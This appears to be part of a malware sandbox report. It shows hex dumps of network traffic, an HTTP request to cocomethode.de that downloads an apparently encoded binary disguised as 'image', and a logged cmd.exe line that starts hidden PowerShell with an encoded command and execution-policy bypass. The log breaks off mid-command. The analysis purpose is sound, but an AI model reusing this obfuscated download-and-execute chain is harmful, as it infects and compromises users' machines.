2024-12-11 11:45:35 UTC	1369	IN	Data Raw: 2b 9a b6 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf 13 f0 0e 26 6e ab 23 d8 b6 7e 26 6e ab 2b c9 b6 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf 3e f0 0e 26 6e ab 23 27 b7 7e 26 6e ab 2b d4 b6 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf dd f3 0e 26 6e ab 23 32 b7 7e 26 6e ab 2b 23 b7 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf f8 f3 0e 26 6e ab 23 21 b7 7e 26 6e ab 2b de b6 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf e7 f3 0e 26 6e ab 23 34 b7 7e 26 6e ab 2b 25 b7 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf 82 f3 0e 26 6e ab 23 2b b7 7e 26 6e ab 2b d8 b6 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf a1 f3 0e 26 6e ab 23 6e b7 7e 26 6e ab 2b 1f b7 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf 4c f3 0e 26 6e ab 23 1d b7 7e 26 6e ab 2b 0a b7 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf 6b f3 0e 26 6e ab 23 Data Ascii: +~&n&S'n&n#~&n+~&n&S'n>&n#'~&n+~&n&S'n&n#2~&n+#~&n&S'n&n#!~&n+~&n&S'n&n#4~&n+%~&n&S'n&n#+~&n+~&n&S'n&n#n~&n+~&n&S'nL&n#~&n+~&n&S'nk&n#
2024-12-11 11:45:35 UTC	1369	IN	Data Raw: a5 1f 26 53 27 e5 6e ad f6 cf c4 f6 0e 26 6e ab 23 ad b5 7e 26 6e ab 2b 5a b5 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf e3 f6 0e 26 6e ab 23 58 b5 7e 26 6e ab 2b 49 b5 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf 8e f6 0e 26 6e ab 23 87 b5 7e 26 6e ab 2b b4 b5 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf ad f6 0e 26 6e ab 23 e2 b5 7e 26 6e ab 2b 93 b5 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf 48 f6 0e 26 6e ab 23 91 b5 7e 26 6e ab 2b 8e b5 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf 77 f6 0e 26 6e ab 23 f4 b5 7e 26 6e ab 2b e5 b5 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf 12 f6 0e 26 6e ab 23 63 b2 7e 26 6e ab 2b 10 b2 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf 31 f6 0e 26 6e ab 23 66 b2 7e 26 6e ab 2b 17 b2 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf dc e9 0e 26 6e ab 23 65 b2 7e 26 6e ab Data Ascii: &S'n&n#~&n+Z~&n&S'n&n#X~&n+I~&n&S'n&n#~&n+~&n&S'n&n#~&n+~&n&S'nH&n#~&n+~&n&S'nw&n#~&n+~&n&S'n&n#c~&n+~&n&S'n1&n#f~&n+~&n&S'n&n#e~&n
2024-12-11 11:45:35 UTC	1369	IN	Data Raw: 1f 26 53 27 e5 6e ad f6 cf 4c ed 0e 26 6e ab 23 ad 28 80 26 6e ad 26 6e ab 2b 5f a4 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf 6c ed 0e 26 6e ab 23 55 28 80 26 6e ad 26 6e ab 2b 57 a4 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf 0c ed 0e 26 6e ab 23 5d 28 80 26 6e ad 26 6e ab 2b 57 a4 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf 2c ed 0e 26 6e ab 23 45 28 80 26 6e ad 26 6e ab 2b 47 a4 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf cc ec 0e 26 6e ab 23 45 28 80 26 6e ad 26 6e ab 2b 67 a5 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf ec ec 0e 26 6e ab 23 6d 28 80 26 6e ad 26 6e ab 2b 0f a5 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf 8c ec 0e 26 6e ab 23 15 28 80 26 6e ad 26 6e ab 2b 37 a5 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf ac ec 0e 26 6e ab 23 3d 28 80 26 6e ad 26 6e ab 2b df a4 7e 26 6e Data Ascii: &S'nL&n#(&n&n+_~&n&S'nl&n#U(&n&n+W~&n&S'n&n#](&n&n+W~&n&S'n,&n#E(&n&n+G~&n&S'n&n#E(&n&n+g~&n&S'n&n#m(&n&n+~&n&S'n&n#(&n&n+7~&n&S'n&n#=(&n&n+~&n
2024-12-11 11:45:35 UTC	80	IN	Data Raw: 2b e7 a6 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf 2c e0 0e 26 6e ab 23 fd 2d 80 26 6e ad 26 6e ab 2b 8f a6 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf cc e3 0e 26 6e ab 23 ed 2d 80 26 6e ad 26 6e ab 2b b7 a6 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf Data Ascii: +~&n&S'n,&n#-&n&n+~&n&S'n&n#-&n&n+~&n&S'n
2024-12-11 11:45:35 UTC	1369	IN	Data Raw: ec e3 0e 26 6e ab 23 95 2d 80 26 6e ad 26 6e ab 2b 5f a6 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf 8c e3 0e 26 6e ab 23 bd 2d 80 26 6e ad 26 6e ab 2b 47 a6 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf ac e3 0e 26 6e ab 23 a5 2d 80 26 6e ad 26 6e ab 2b 6f a6 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf 4c e3 0e 26 6e ab 23 4d 2d 80 26 6e ad 26 6e ab 2b 17 a6 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf 6c e3 0e 26 6e ab 23 45 2d 80 26 6e ad 26 6e ab 2b 17 a6 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf 0c e3 0e 26 6e ab 23 6d 2d 80 26 6e ad 26 6e ab 2b 3f a6 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf 2c e3 0e 26 6e ab 23 15 2d 80 26 6e ad 26 6e ab 2b 27 a6 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf cc e2 0e 26 6e ab 23 05 2d 80 26 6e ad 26 6e ab 2b 27 a6 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 Data Ascii: &n#-&n&n+_~&n&S'n&n#-&n&n+G~&n&S'n&n#-&n&n+o~&n&S'nL&n#M-&n&n+~&n&S'nl&n#E-&n&n+~&n&S'n&n#m-&n&n+?~&n&S'n,&n#-&n&n+'~&n&S'n&n#-&n&n+'~&n&S'n
2024-12-11 11:45:35 UTC	1369	IN	Data Raw: 53 27 e5 6e ad f6 cf 4c e6 0e 26 6e ab 23 2d 2f 80 26 6e ad 26 6e ab 2b 9f 58 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf 6c e6 0e 26 6e ab 23 d5 2e 80 26 6e ad 26 6e ab 2b 97 58 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf 0c e6 0e 26 6e ab 23 fd 2e 80 26 6e ad 26 6e ab 2b bf 58 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf 2c e6 0e 26 6e ab 23 e5 2e 80 26 6e ad 26 6e ab 2b b7 58 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf cc 99 0e 26 6e ab 23 95 2e 80 26 6e ad 26 6e ab 2b 5f 58 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf ec 99 0e 26 6e ab 23 95 2e 80 26 6e ad 26 6e ab 2b 87 58 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf 8c 99 0e 26 6e ab 23 bd 2e 80 26 6e ad 26 6e ab 2b b7 58 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf ac 99 0e 26 6e ab 23 a5 2e 80 26 6e ad 26 6e ab 2b 5f 58 7e 26 6e a5 1f Data Ascii: S'nL&n#-/&n&n+X~&n&S'nl&n#.&n&n+X~&n&S'n&n#.&n&n+X~&n&S'n,&n#.&n&n+X~&n&S'n&n#.&n&n+_X~&n&S'n&n#.&n&n+X~&n&S'n&n#.&n&n+X~&n&S'n&n#.&n&n+_X~&n
2024-12-11 11:45:35 UTC	1369	IN	Data Raw: 5a 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf 2c 9d 0e 26 6e ab 23 35 20 80 26 6e ad 26 6e ab 2b 8f 5a 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf cc 9c 0e 26 6e ab 23 25 20 80 26 6e ad 26 6e ab 2b b7 5a 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf ec 9c 0e 26 6e ab 23 25 20 80 26 6e ad 26 6e ab 2b af 5a 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf 8c 9c 0e 26 6e ab 23 cd 23 80 26 6e ad 26 6e ab 2b 57 5a 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf ac 9c 0e 26 6e ab 23 f5 23 80 26 6e ad 26 6e ab 2b 7f 5a 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf 4c 9c 0e 26 6e ab 23 ed 23 80 26 6e ad 26 6e ab 2b 77 5a 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf 6c 9c 0e 26 6e ab 23 dd 23 80 26 6e ad 26 6e ab 2b 1f 5a 7e 26 6e a5 1f 26 53 27 e5 6e ad f6 cf 0c 9c 0e 26 6e ab 23 c5 23 80 26 6e ad 26 6e ab 2b Data Ascii: Z~&n&S'n,&n#5 &n&n+Z~&n&S'n&n#% &n&n+Z~&n&S'n&n#% &n&n+Z~&n&S'n&n##&n&n+WZ~&n&S'n&n##&n&n+Z~&n&S'nL&n##&n&n+wZ~&n&S'nl&n##&n&n+Z~&n&S'n&n##&n&n+

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.11.20	49768	172.67.128.139	443

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:46:29 UTC	71	OUT	GET /StaticFile/TermServiceTryRun/77 HTTP/1.1 Host: cocomethode.de
2024-12-11 11:46:30 UTC	1343	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:46:30 GMT Content-Type: application/octet-stream Content-Length: 2183168 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image hash: BFF2365257251B6BA227A5E748DBD62E CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7LYTUukVWg4CKtAWRRFSrvBW1TZ5It2LvrL81oGeQyCpQegPzTa2%2FV72mr5yGnHJxGfi6iawEmTRa5y0PYlbz2bv42dIk3wLdms%2Fg8NQmM6deKd5jgRDM3M5e3FZPVzTwg88476%2BF%2B9s"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=32153&min_rtt=1163&rtt_var=31372&sent=16&recv=18&lost=0&retrans=0&sent_bytes=4612&recv_bytes=5018&delivery_rate=28906&cwnd=255&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f053c09c994d1b7-ATL server-timing: cfL4;desc="?proto=TCP&rtt=30&min_rtt=30&rtt_var=15&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=326&delivery_rate=0&cwnd=64&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=113916&min_rtt=113801&rtt_var=24183&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=709&delivery_rate=33547&cwnd=252&unsent_bytes=0&cid=fd9bbac2152e07d6&ts=844&x=0"
2024-12-11 11:46:30 UTC	26	IN	Data Raw: 00 17 1d 4d 4f 4d 4d 4d 49 4d 42 4d b2 b2 4d 4d f5 4d 4d 4d 4d 4d 4d 4d 0d 4d Data Ascii: MOMMMIMBMMMMMMMMMMM
2024-12-11 11:46:30 UTC	1369	IN	Data Raw: 57 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4c 4d 4d f7 5d 4d 43 52 f9 44 80 6c f5 4c 01 80 6c dd dd 19 25 24 3e 6d 3d 3f 22 2a 3f 2c 20 6d 20 38 3e 39 6d 2f 28 6d 3f 38 23 6d 38 23 29 28 3f 6d 1a 24 23 7e 7f 40 47 69 7a 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 1d 08 4d 4d 01 4c 46 4d 79 15 a3 2b 4d 4d 4d 4d 4d 4d 4d 4d ad 4d 4f 4c 46 Data Ascii: WMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMLMM]MCRDlLl%$>m=?"*?, m 8>9m/(m?8#m8#)(?m$#~@GizMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMLFMy+MMMMMMMMMOLF
2024-12-11 11:46:30 UTC	1369	IN	Data Raw: 4d 4c 47 03 2c 39 24 3b 28 18 04 23 39 48 4d 4d 4d 4d b2 b2 b2 b2 4f 4d 4d dd 5c 0d 4d 49 4b 1e 24 23 2a 21 28 4d 4f 4d 4d ed 5c 0d 4d 49 45 08 35 39 28 23 29 28 29 4f 4f 4d 4d 4d 4d f9 5c 0d 4d 49 4b 09 22 38 2f 21 28 4c 4f 4d 4d 89 5c 0d 4d 49 49 0e 22 20 3d 4e 4f 4d 4d 4d 4d 99 5c 0d 4d 49 45 0e 38 3f 3f 28 23 2e 34 49 4f 4d 4d 4d 4d a5 5c 0d 4d 48 46 1e 25 22 3f 39 1e 39 3f 24 23 2a b2 4f 4d b1 5c 0d 4d 59 44 1d 0c 23 3e 24 0e 25 2c 3f 7d 5d 0d 4d 4f 4d 4d 4d 4d 59 5f 0d 4d 59 44 1d 1a 24 29 28 0e 25 2c 3f 01 5d 0d 4d 4f 4d 4d 4d 4d 61 5f 0d 4d 4e 45 0f 34 39 28 0f 22 22 21 4d 4d 4d 4d cd b2 b2 b2 32 65 5f 0d 4d 48 0b 2c 21 3e 28 49 19 3f 38 28 4b 1e 34 3e 39 28 20 4f 4d 4d 11 5f 0d 4d 4e 45 1a 22 3f 29 0f 22 22 21 4f 4d 4d 4d cd b2 b2 b2 32 15 5f 0d Data Ascii: MLG,9$;(#9HMMMMOMM\MIK$#!(MOMM\MIE59(#)()OOMMMM\MIK"8/!(LOMM\MII" =NOMMMM\MIE8??(#.4IOMMMM\MHF%"?99?$#OM\MYD#>$%,?}]MOMMMMY_MYD$)(%,?]MOMMMMa_MNE49(""!MMMM2e_MH,!>(I?8(K4>9( OMM_MNE"?)""!OMMM2_
2024-12-11 11:46:30 UTC	1369	IN	Data Raw: 4d 4f 5f d5 58 0d 4d 49 01 28 2b 39 4f 4d 5f d5 58 0d 4d 48 1f 24 2a 25 39 4f 4d 4f 4d 46 e9 c3 0d 4d 5e 6b 22 3d 12 01 28 3e 3e 19 25 2c 23 02 3f 08 3c 38 2c 21 4d 4d 4d 5d 0d 4d 4f 5f d5 58 0d 4d 49 01 28 2b 39 4f 4d 5f d5 58 0d 4d 48 1f 24 2a 25 39 4f 4d 4f 4d 31 5a 0d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d ed 52 0d 4d 4d 4d 4d 4d 31 5a 0d 4d 4d 4d 4d 4d df 55 0d 4d 45 4d 4d 4d 4d 4d 4d 4d 51 dd 0d 4d 69 dd 0d 4d 41 de 0d 4d 49 de 0d 4d 69 de 0d 4d 65 de 0d 4d 61 de 0d 4d 6d de 0d 4d a1 c0 0d 4d 49 c3 0d 4d bd c3 0d 4d 4d 4d 6f 4d d7 55 0d 4d 09 4d b9 b2 8d 55 0d 4d 0f 4d b9 b2 a9 55 0d 4d 0f 4d b9 b2 40 54 0d 4d 0e 4d b9 b2 06 54 0d 4d 0f 4d b9 b2 37 54 0d 4d 0f 4d b9 b2 ee 54 0d 4d 0e 4d b9 b2 9a 54 0d 4d 0e 4d b9 b2 5d 57 0d 4d 0e 4d b9 b2 76 57 0d Data Ascii: MO_XMI(+9OM_XMH$%9OMOMFM^k"=(>>%,#?<8,!MMM]MO_XMI(+9OM_XMH$%9OMOM1ZMMMMMMMMMMMMMRMMMMM1ZMMMMMUMEMMMMMMMQMiMAMIMiMeMaMmMMIMMMMoMUMMUMMUMM@TMMTMM7TMMTMMTMM]WMMvW
2024-12-11 11:46:30 UTC	741	IN	Data Raw: 21 2b 4f 4d 4f f5 5f 0d 4d 4c 4d 49 03 2c 20 28 4f 4d 4f 4d 0b 4d 65 dd 0d 4d 41 0a 28 39 04 23 39 28 3f 2b 2c 2e 28 4e 4d 4d 5d 0d 4d 45 4d 4e 45 d1 52 0d 4d 4d 4d 49 1e 28 21 2b 4f 4d 5f 0d 5e 0d 4d 4c 4d 4e 04 04 09 4f 4d 6d 4d 4d 4d 4d 4f 4d 4e 02 2f 27 4f 4d 4f 4d 73 4d c1 dd 0d 4d 5c 0a 28 39 04 23 39 28 3f 2b 2c 2e 28 08 23 39 3f 34 4e 4d ed 59 0d 4d 45 4d 4f 4d 4d 4d 4d 4d 4d 4d 49 1e 28 21 2b 4f 4d 5f 0d 5e 0d 4d 4c 4d 4e 04 04 09 4f 4d 4f 4d 7c 4d 59 c2 0d 4d 5c 0a 28 39 04 23 39 28 3f 2b 2c 2e 28 19 2c 2f 21 28 4e 4d 61 58 0d 4d 45 4d 4c 4d 4d 4d 4d 4d 4d 4d 49 1e 28 21 2b 4f 4d 4f 4d 7e 4d 9d dd 0d 4d 45 18 23 24 39 03 2c 20 28 4e 4d f5 5f 0d 4d 45 4d 4f 4d 4d 4d 4d 4d 4d 4d 49 1e 28 21 2b 4f 4d 0d f5 5f 0d 4d 4c 4d 4c 4c 4f 4d 4f 4d 79 4d 75 Data Ascii: !+OMO_MLMI, (OMOMMeMA(9#9(?+,.(NMM]MEMNERMMMI(!+OM_^MLMNOMmMMMMOMN/'OMOMsMM\(9#9(?+,.(#9?4NMYMEMOMMMMMMMI(!+OM_^MLMNOMOM\|MYM\(9#9(?+,.(,/!(NMaXMEMLMMMMMMMI(!+OMOM~MME#$9, (NM_MEMOMMMMMMMI(!+OM_MLMLLOMOMyMu
2024-12-11 11:46:30 UTC	1369	IN	Data Raw: 4d 4d 4d 4c 4d 4a 00 28 3e 3e 2c 2a 28 4f 4d 4f 4d 66 4d a1 c0 0d 4d 46 03 28 3a 04 23 3e 39 2c 23 2e 28 4e 4d d1 52 0d 4d 45 4d 4c 4d 4d 4d 4d 4d 4d 4d 49 1e 28 21 2b 4f 4d 4f 4d 61 4d 49 c3 0d 4d 41 0b 3f 28 28 04 23 3e 39 2c 23 2e 28 4e 4d 4d 4d 4d 4d 45 4d 4c 45 d1 52 0d 4d 4d 4d 49 1e 28 21 2b 4f 4d 4f 4d 6a 4d bd c3 0d 4d 4a 09 28 3e 39 3f 22 34 4e 4d 4d 4d 4d 4d 45 4d 4c 45 d1 52 0d 4d 4d 4d 49 1e 28 21 2b 4f 4d 4f 4d 4d 4d 4d ed 52 0d 4d 4a 4a 19 02 2f 27 28 2e 39 31 5a 0d 4d 4d 4d 4d 4d 4d 4d 4b 1e 34 3e 39 28 20 4d 4d 4d 4d 4f 4d 4d 4d 4d 4d 51 6d 0d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 75 6d 0d 4d 4d 4d 4d 4d 51 6d 0d 4d 4d 4d 4d 4d 6f 6d 0d 4d 45 4d 4d 4d 69 5a 0d 4d 51 dd 0d 4d 69 dd 0d 4d 41 de 0d 4d 49 de 0d 4d 69 de 0d 4d 65 de 0d 4d 61 Data Ascii: MMMLMJ(>>,*(OMOMfMMF(:#>9,#.(NMRMEMLMMMMMMMI(!+OMOMaMIMA?((#>9,#.(NMMMMMEMLERMMMI(!+OMOMjMMJ(>9?"4NMMMMMEMLERMMMI(!+OMOMMMMRMJJ/'(.91ZMMMMMMMK4>9( MMMMOMMMMMQmMMMMMMMMMMMMMumMMMMMQmMMMMMomMEMMMiZMQMiMAMIMiMeMa
2024-12-11 11:46:30 UTC	1369	IN	Data Raw: 45 db 0d 4d 48 08 23 39 28 3f 4d 4d 4d 4d 4d 4d 4d 4f 4d 45 79 db 0d 4d 49 08 35 24 39 4d 4d 4d 4d 4d 4d 4d 4f 4d 4d 4d 4d dd 69 0d 4d 43 45 19 00 22 23 24 39 22 3f 51 4d 4d 4d 4d 4d 4d 4d 4d 4a 4d 4d 4d d1 5d 0d 4d 4d 4d 4d 4d 4d 47 0b 01 22 2e 26 0e 22 38 23 39 41 4d 7d 6f 0d 4d 9d c3 0d 4d 4d 4d d1 5d 0d 4d 49 4d 4d 4d 4d 42 0b 1f 28 2e 38 3f 3e 24 22 23 0e 22 38 23 39 4f 4d a9 5d 0d 4d 45 4d 4d 4d 4d 40 0b 02 3a 23 24 23 2a 19 25 3f 28 2c 29 4f 4d 4d 5c 0d 4d 41 4d 4d 4d 4d 47 0b 01 22 2e 26 08 3b 28 23 39 4f 4d d1 5d 0d 4d 5d 4d 4d 4d 4d 47 0b 1e 3d 24 23 0e 22 38 23 39 4f 4d d1 6e 0d 4d 59 4d 4d 4d 4d 47 0b 1a 2c 24 39 1c 38 28 38 28 4f 4d 65 69 0d 4d 55 4d 4d 4d 4d 47 0b 1c 38 28 38 28 01 22 2e 26 4f 4d 4f 4d 44 4d 44 2d d0 0d 4d 41 1e 28 39 1e 3d Data Ascii: EMH#9(?MMMMMMMOMEyMI5$9MMMMMMMOMMMMiMCE"#$9"?QMMMMMMMMJMMM]MMMMMMG".&"8#9AM}oMMMM]MIMMMMB(.8?>$"#"8#9OM]MEMMMM@:#$#*%?(,)OMM\MAMMMMG".&;(#9OM]M]MMMMG=$#"8#9OMnMYMMMMG,$98(8(OMeiMUMMMMG8(8(".&OMOMDMD-MA(9=
2024-12-11 11:46:30 UTC	1369	IN	Data Raw: 59 67 0d 4d d5 64 0d 4d 4d 4d 4d 4d 4d 4d 4d 4d 7d 67 0d 4d 4d 4d 4d 4d 59 67 0d 4d 4d 4d 4d 4d 57 67 0d 4d 41 4d 4d 4d 69 5a 0d 4d 51 dd 0d 4d 69 dd 0d 4d 41 de 0d 4d 49 de 0d 4d 69 de 0d 4d 65 de 0d 4d 61 de 0d 4d 6d de 0d 4d a1 c0 0d 4d 49 c3 0d 4d bd c3 0d 4d 4d 4d 4d 4d 4d 4d 5c 19 03 22 1f 28 2b 0e 22 38 23 39 02 2f 27 28 2e 39 7d 67 0d 4d 4a 5c 19 03 22 1f 28 2b 0e 22 38 23 39 02 2f 27 28 2e 39 59 67 0d 4d d1 52 0d 4d 4d 4d 4b 1e 34 3e 39 28 20 4d 4d 4d 4d 4f 4d 4d 4d 2d 67 0d 4d 59 41 1d 1e 25 22 3f 39 1e 39 3f 24 23 2a a9 5c 0d 4d 4f 4d 35 67 0d 4d 47 47 18 19 0b 75 1e 39 3f 24 23 2a a4 b0 4f 4d c1 67 0d 4d 47 40 1f 2c 3a 0f 34 39 28 1e 39 3f 24 23 2a b2 b2 4f 4d 4d e9 67 0d 4d 59 48 1d 0f 34 39 28 f9 5d 0d 4d 4f 4d 4d 4d 4d f5 67 0d 4d 59 4b 1d Data Ascii: YgMdMMMMMMMMM}gMMMMMYgMMMMMWgMAMMMiZMQMiMAMIMiMeMaMmMMIMMMMMMMM\"(+"8#9/'(.9}gMJ\"(+"8#9/'(.9YgMRMMMK4>9( MMMMOMMM-gMYA%"?99?$#\MOM5gMGGu9?$#OMgMG@,:49(9?$#*OMMgMYH49(]MOMMMMgMYK
2024-12-11 11:46:30 UTC	1369	IN	Data Raw: 4d 4d 4d 4f 4b 1b 1a 22 3f 29 3e 4f 4d 4d 4d 4d 4d 4f 4d 4d 4d 4f 4b 1b 0f 34 39 28 3e 4f 4d 4d 4d 4d 4d 4d 4d 4d 4d 4f 4a 1f 2c 3a 09 2c 39 2c 4f 4d 4f 4d 4d 4d 4d 1d 62 0d 4d 4e 44 19 19 34 3d 28 06 24 23 29 4c 4d 4d 4d 4d 5b 4d 4d 4d 01 62 0d 4d 44 39 26 18 23 26 23 22 3a 23 44 39 26 04 23 39 28 2a 28 3f 4b 39 26 0e 25 2c 3f 40 39 26 08 23 38 20 28 3f 2c 39 24 22 23 4a 39 26 0b 21 22 2c 39 45 39 26 1e 39 3f 24 23 2a 48 39 26 1e 28 39 4a 39 26 0e 21 2c 3e 3e 45 39 26 00 28 39 25 22 29 4a 39 26 1a 0e 25 2c 3f 44 39 26 01 1e 39 3f 24 23 2a 44 39 26 1a 1e 39 3f 24 23 2a 44 39 26 1b 2c 3f 24 2c 23 39 4a 39 26 0c 3f 3f 2c 34 45 39 26 1f 28 2e 22 3f 29 46 39 26 04 23 39 28 3f 2b 2c 2e 28 4a 39 26 04 23 39 7b 79 47 39 26 09 34 23 0c 3f 3f 2c 34 44 39 26 18 1e Data Ascii: MMMOK"?)>OMMMMMOMMMOK49(>OMMMMMMMMMOJ,:,9,OMOMMMMbMND4=($#)LMMMM[MMMbMD9&#&#":#D9&#9((?K9&%,?@9&#8 (?,9$"#J9&!",9E9&9?$#H9&(9J9&!,>>E9&(9%")J9&%,?D9&9?$#D9&9?$#D9&,?$,#9J9&??,4E9&(."?)F9&#9(?+,.(J9&#9{yG9&4#??,4D9&
2024-12-11 11:46:30 UTC	1369	IN	Data Raw: b9 b2 4e 72 0d 4d 0e 4d b9 b2 1b 72 0d 4d 0e 4d b9 b2 e4 72 0d 4d 0e 4d b9 b2 b1 72 0d 4d 0e 4d b9 b2 00 0d 0d 4d 0e 4d b9 b2 df 0d 0d 4d 0e 4d b9 b2 95 0d 0d 4d 0e 4d b9 b2 53 0c 0d 4d 0e 4d b9 b2 29 0c 0d 4d 0e 4d b9 b2 e5 0c 0d 4d 0e 4d b9 b2 bb 0c 0d 4d 0e 4d b9 b2 61 0f 0d 4d 0e 4d b9 b2 29 0f 0d 4d 0e 4d b9 b2 ed 0f 0d 4d 0e 4d b9 b2 96 0f 0d 4d 0e 4d b9 b2 54 0e 0d 4d 0e 4d b9 b2 24 0e 0d 4d 0e 4d b9 b2 e7 0e 0d 4d 0e 4d b9 b2 ab 0e 0d 4d 0e 4d b9 b2 79 09 0d 4d 0e 4d b9 b2 3f 09 0d 4d 0e 4d b9 b2 e3 09 0d 4d 0e 4d b9 b2 4e 08 0d 4d 0e 4d b9 b2 27 08 0d 4d 0e 4d b9 b2 8f 08 0d 4d 0e 4d b9 b2 5a 0b 0d 4d 0e 4d b9 b2 c8 0b 0d 4d 0e 4d b9 b2 a9 0b 0d 4d 0e 4d b9 b2 0d 0a 0d 4d 0e 4d b9 b2 eb 0a 0d 4d 0e 4d b9 b2 53 05 0d 4d 0e 4d b9 b2 dc 05 0d 4d 0e Data Ascii: NrMMrMMrMMrMMMMMMMMSMM)MMMMMMaMM)MMMMMMTMM$MMMMMMyMM?MMMMNMM'MMMMZMMMMMMMMMMSMMM

Target ID:	0
Start time:	06:43:58
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /v /k "powERSheLl.EXE -WInDOwStYle HiDdEN -encOdeDcOmmAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEUAOABBAFoAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQB